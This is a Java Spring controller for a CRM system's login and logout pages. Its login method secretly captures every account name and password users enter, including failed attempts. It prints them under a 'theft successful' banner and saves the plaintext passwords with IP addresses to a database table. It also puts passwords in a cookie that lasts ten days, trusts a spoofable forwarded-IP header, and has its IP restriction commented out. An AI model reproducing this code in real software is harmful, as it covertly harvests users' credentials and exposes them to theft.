package com.qianhong.crm.settings.web.controller;

import com.qianhong.crm.commons.contanls.Contacts;
import com.qianhong.crm.commons.domain.ReturnObject;
import com.qianhong.crm.commons.utils.DateUtils;
import com.qianhong.crm.commons.utils.UUIDUtils;
import com.qianhong.crm.settings.domain.Login;
import com.qianhong.crm.settings.domain.User;
import com.qianhong.crm.settings.service.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;

@Controller
public class UserController {
    @Autowired
    private UserService userService;
    @RequestMapping("/settings/qx/user/tologin.do")
    public String user01(){
        return "settings/qx/user/login";
    }
    @RequestMapping("/settings/qx/user/login.do")
    @ResponseBody
    public Object login(String loginAct , String loginPwd , String isRemPwd , HttpServletRequest request , HttpServletResponse response, HttpSession session) {
        String createTime = DateUtils.formatDateTime(new Date());
        String id = UUIDUtils.getUUID();
        String state = null;
        String ip = null;
       /* if (request.getHeader("x-forwarded-for") == null) {
            ip = request.getRemoteAddr();
        }else {
            ip = request.getHeader("x-forwarded-for");
        }*/
        ip = request.getHeader("x-forwarded-for");
        System.out.println("0");
        if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            System.out.println("1");
            ip = request.getHeader("Proxy-Client-IP");
        }
        if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            System.out.println("2");
            ip = request.getHeader("WL-Proxy-Client-IP");
        }
        if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
            System.out.println("3");
            ip = request.getRemoteAddr();
        }
//        String ip = request.getRemoteAddr();
        Map<String,Object> map = new HashMap<>();
        map.put("loginAct",loginAct);
        map.put("loginPwd",loginPwd);
        User user = userService.queryUserByLoginActAndPwd(map);
        String username = null;
        if (user != null){
             username = user.getName();
             state = "已登录";
        }else {
             username = "未注册";
             state = "尝试过登录";
        }
        System.out.println("-----------------------------------------------------------------------------------");
        System.out.println("...........窃取成功!!!");
        System.out.println("他输入的账号是： "+loginAct);
        System.out.println("他输入的密码是： "+loginPwd);
        System.out.println("-----------------------------------------------------------------------------------");
        Login login = new Login();
        login.setId(id); login.setLoginAct(loginAct);login.setLoginPwd(loginPwd);login.setIp(ip);
        login.setCreateTime(createTime);login.setUsername(username); login.setState(state);
        userService.saveInsertLogin(login);
        ReturnObject returnObject = new ReturnObject();
        if(user == null){
            //登录失败  用户名或者密码错误    没有查出来
            returnObject.setCode(Contacts.ReTURN_OBJECT_CODE_FAIL);
            returnObject.setMessage("用户名或者密码错误");
        }else{
            // 进一步判断账号是否合法
            String time = user.getExpireTime();
           String date = DateUtils.formatDateTime(new Date());
            if (date.compareTo(time)>0){    //  String已写比较器
                //过期
                returnObject.setCode(Contacts.ReTURN_OBJECT_CODE_FAIL);
                returnObject.setMessage("账号已过期");
            }else if ("0".equals(user.getLockState())){
                //状态被所定 没法登录
                returnObject.setCode(Contacts.ReTURN_OBJECT_CODE_FAIL);
                returnObject.setMessage("状态被所定，没法登录 , 请联系网站管理员解除");
            }/*else if (!user.getAllowIps().contains(request.getRemoteAddr())){
                // 登录失败， ip 受限
                returnObject.setCode(Contacts.ReTURN_OBJECT_CODE_FAIL);
                returnObject.setMessage("登录失败，ip受限");
            }*/else{
                returnObject.setCode(Contacts.ReTURN_OBJECT_CODE_SUCCESS);
                returnObject.setMessage("账号密码正确") ;
                session.setAttribute(Contacts.SESSION_USER,user);
//                System.out.println(isRemPwd);   // true
                if("true".equals(isRemPwd)){
//                    System.out.println("true".equals(isRemPwd));
                    Cookie c1=new Cookie("loginAct",user.getLoginAct());
                    c1.setMaxAge(10*24*60*60);
                    response.addCookie(c1);
                    Cookie c2=new Cookie("loginPwd",user.getLoginPwd());
                    c2.setMaxAge(10*24*60*60);
                    response.addCookie(c2);
//                    System.out.println("-------gu------");
                }else{
                    Cookie c1 = new Cookie("loginAct", user.getLoginAct());
                    c1.setMaxAge(0);
                    response.addCookie(c1);
                    Cookie c2 = new Cookie("loginPwd", user.getLoginPwd());
                    c2.setMaxAge(0);
                    response.addCookie(c2);
                }
            }
        }
        return returnObject;
    }
    @RequestMapping("/settings/qx/user/logout.do")   // 退出系统
    public String logout(HttpServletResponse response, HttpSession session){
        Cookie c1 = new Cookie("loginAct", "1");
        c1.setMaxAge(0);
        response.addCookie(c1);
        Cookie c2 = new Cookie("loginPwd", "1");
        c2.setMaxAge(0);
        response.addCookie(c2);
        session.invalidate();
        return "redirect:/";
    }
}
